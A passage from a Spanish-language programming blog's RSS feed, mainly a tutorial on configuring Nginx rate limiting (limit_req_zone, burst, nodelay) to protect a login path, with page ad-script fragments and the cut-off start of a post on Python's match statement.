loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El throttling en Ngnix nos permite limitar el número de peticiones a un cierto usuario. Lo anterior es útil para prevenir peticiones excesivas por parte de un usuario que mantengan el sistema ocupado. Por otro lado, también es una manera de disuadir intentos de averiguar una contraseña por fuerza bruta o incluso ataques DDOS.&lt;/p&gt;&#xA;&lt;p&gt;Si lo que buscas es optimizar el rendimiento de una aplicación que usa Nginx tengo una entrada donde te doy algunas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/nginx-keepalive-gzip-http2-mejor-rendimiento-en-tu-sitio-web/&#34;&gt;recomendaciones para mejorar el rendimiento de nginx.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Cree un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/&#34;&gt;simulador interactivo de throttling y debounce&lt;/a&gt;&#xA; con el que puedes jugar aquí.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-algoritmo-de-la-cubeta&#34;&gt;El algoritmo de la cubeta&lt;/h2&gt;&#xA;&lt;p&gt;Nginx manejará el throttling como si se tratara de una cubeta con agujeros: el agua que entra en la cubeta sale por la parte de abajo. Si aumentamos el flujo y la cubeta se llena más rápido de lo que sale por los agujeros la cubeta se desbordará.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/throttling-on-nginx/images/cubeta_-1.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/throttling-on-nginx/images/cubeta_-1.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Cubeta con agujeros.&#34; width=&#34;245&#34; height=&#34;400&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;El agua que entra primero por la cubeta sale primero (FIFO). Si el flujo es suficiente, la cubeta se desborda.&lt;/p&gt;&#xA;&lt;p&gt;En el ejemplo anterior, las peticiones o requests, representan el agua; cualquier incremento excesivo de peticiones se desbordará y se perderán. Las peticiones que ya se encontraban en la cubeta abandonarán la cubeta primero, es decir, serán procesadas como van llegando (una cola FIFO).&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;limit_req_zone-establece-los-valores-del-throttling&#34;&gt;limit_req_zone establece los valores del throttling&lt;/h2&gt;&#xA;&lt;p&gt;Vamos a abrir nuestro archivo de configuración para nuestro sitio web. Si usas la configuración por defecto está en &lt;em&gt;/etc/nginx/sites-enabled/default&lt;/em&gt; y colocaremos lo siguiente:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-nginx&#34; data-lang=&#34;nginx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;limit_req_zone&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;$binary_remote_addr&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;zone=mylimit:10m&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;rate=10r/s&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;limit_req_zone establecerá los parámetros que tendrá el throttling:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;$binary_remote_addr guarda la dirección IP en binario. Podemos reemplazarlo por $remote_addr a un costo de mayor espacio de memoria por IP&lt;/li&gt;&#xA;&lt;li&gt;zone establece el nombre del espacio donde se guardarán nuestras ip y su capacidad, en 1MB caben aproximadamente 16 000 IPs.&lt;/li&gt;&#xA;&lt;li&gt;Rate nos dice cuantas requests, &amp;ldquo;r&amp;rdquo;, permitiremos, en este caso por segundo.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;limit_req-se-coloca-en-el-bloque-que-queremos-proteger&#34;&gt;limit_req se coloca en el bloque que queremos proteger&lt;/h3&gt;&#xA;&lt;p&gt;Solo por haber establecido esos valores no significa que se aplicarán, debemos decirle a Nginx en que bloque lo harán.&lt;/p&gt;&#xA;&lt;p&gt;limit_req le dice a nginx el bloque en el que se aplicarán los valores de throttling, en este caso &lt;em&gt;/login/&lt;/em&gt;, para prevenir intentos de averiguación de contraseña por fuerza bruta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-nginx&#34; data-lang=&#34;nginx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;limit_req_zone&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;$binary_remote_addr&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;zone=mylimit:10m&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;rate=10r/s&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;server&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;location&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;/login/&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;limit_req&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;zone=mylimit&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;proxy_pass&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;http://my_upstream&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y listo, ahora Nginx tendrá un límite de 10 requests por segundo para la dirección /login/.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Eso está bastante bien, pero si nosotros hicieramos un request y en menos de 100 ms hicieramos un segundo request notariamos que Nginx nos devuelve un error 503, pero, ¿por qué? ¿No estamos dentro de límite de los 10 requests por segundo? Aún no ha transcurrido el segundo y apenas van 2 requests. Pues sí, pero Nginx mide sus rates en milisegundos, por lo que nuestro rate real no es de 10 r/s.&lt;/p&gt;&#xA;&lt;h3 id=&#34;rate-mide-en-milisegundos&#34;&gt;Rate mide en milisegundos&lt;/h3&gt;&#xA;&lt;p&gt;En nuestro ejemplo colocamos que el límite máximo serán 10 requests por segundo, pero Nginx mide usando milisegundos (ms), por lo que, realmente, nuestro rate es 1r/100ms, es decir, un request cada 100 ms.&lt;/p&gt;&#xA;&lt;h3 id=&#34;burst&#34;&gt;Burst&lt;/h3&gt;&#xA;&lt;p&gt;Pero ¿y si dos requests se efecutan, de manera normal, en menos de 100 ms? Así es, se perdería el segundo y esto puede no ser lo que queremos, a veces las aplicaciones hacen requests con pocos milisegundos de diferencia. La opción Burst se encarga de atenuar un poco nuestra estricta política de Throttling:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-nginx&#34; data-lang=&#34;nginx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;location&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;/login/&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;limit_req&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;zone=mylimit&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;burst=20&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;proxy_pass&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;http://my_upstream&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Qué hace burst exactamente? &lt;strong&gt;Burst establece el tamaño de una cola&lt;/strong&gt;. Cualquier request que se efectué antes de que transcurran 100 ms se pondrá en esta cola, en este caso con un tamaño de 20 requests. Nuestra cola despachará una request cada 100 ms. Cualquier request que llegue cuando la cola está llena (mayor a 20) será descartada.&lt;/p&gt;&#xA;&lt;p&gt;Pero, ahora estamos en otro aprieto, imagínate una cola al límite de su capacidad, con 20 peticiones. El penúltimo valor tendrá que esperar 1.8 segundos antes de ser despachado, mientras que el último tardará 2.0 segundos. ¡Es muchísimo!&lt;/p&gt;&#xA;&lt;h3 id=&#34;nodelay&#34;&gt;Nodelay&lt;/h3&gt;&#xA;&lt;p&gt;Con el parámetro nodelay, Nginx marca como &amp;ldquo;ocupados&amp;rdquo; los espacios de la cola que definimos en burst, pero no se espera 100 ms para despachar cada uno, sino que los despacha tan rápido como puede y luego va liberando los espacios de la cola a un ritmo de 100 ms. Por lo que ahora los últimos elementos de la cola no esperarán a que transcurran segundos antes de ser procesados, sino que serán procesados inmediatamente, preservando aún el límite de requests.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-nginx&#34; data-lang=&#34;nginx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;location&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;/login/&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;limit_req&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;zone=mylimit&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;burst=20&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;nodelay&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;proxy_pass&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;http://my_upstream&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esta entrada está basada en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.nginx.com/blog/rate-limiting-nginx/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación oficial sobre Throttling de Nginx.&lt;/a&gt;&#xA; Si quieres profundizar más sobre el tema visita la documentación oficial.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;},{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    
    
    <item>
      <title>¿Cómo escribir un switch en Python?</title>
      <link>https://coffeebytes.dev/es/python/como-escribir-un-switch-en-python/</link>
      <pubDate>Sat, 06 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/como-escribir-un-switch-en-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Se anunció Python 3.10 y viene con algo que muchos desarrolladores echaban de menos de otros lenguajes: el switch statement. Sí, ese trozo de código que evalúa una expresión y la compara con múltiples casos para decidir que ejecutar. Python no lo tenía implementado y muchos desarrolladores recurrían a ciertos trucos para imitarlo.&lt;/p&gt;&#xA;&lt;p&gt;Te recuerdo que si no sabes nada de Python tengo una entrada donde hablo del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/el-mejor-libro-de-python-inmersion-en-python/&#34;&gt;libro &amp;ldquo;Inmersion en Python&amp;rdquo;&lt;/a&gt;&#xA;; uno de los mejores libros gratuitos para aprender Python desde cero.&lt;/p&gt;&#xA;&lt;h2 id=&#34;switch-en-python-310&#34;&gt;Switch en Python 3.10&lt;/h2&gt;&#xA;&lt;p&gt;A partir de Python 3.10, &lt;strong&gt;siempre y cuando los desarrolladores no se retracten&lt;/strong&gt;, el switch statement, que llamaremos por su nombre, &lt;strong&gt;match&lt;/strong&gt;, de ahora en adelante, se escribirá de la siguiente manera:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;match&lt;/span&gt; subject:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;pattern_1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;pattern_2&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_2&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;pattern_3&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_3&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; _:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;action_wildcard&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación de libro si te gusta Python es este pequeño libro. Python tricks es una recopilación de trucos (dah, obvio) y partes útiles, pero desconocidas, del lenguaje. Yo pensaba que sabía Python hasta que leí este libro, dale una oportunidad si no me 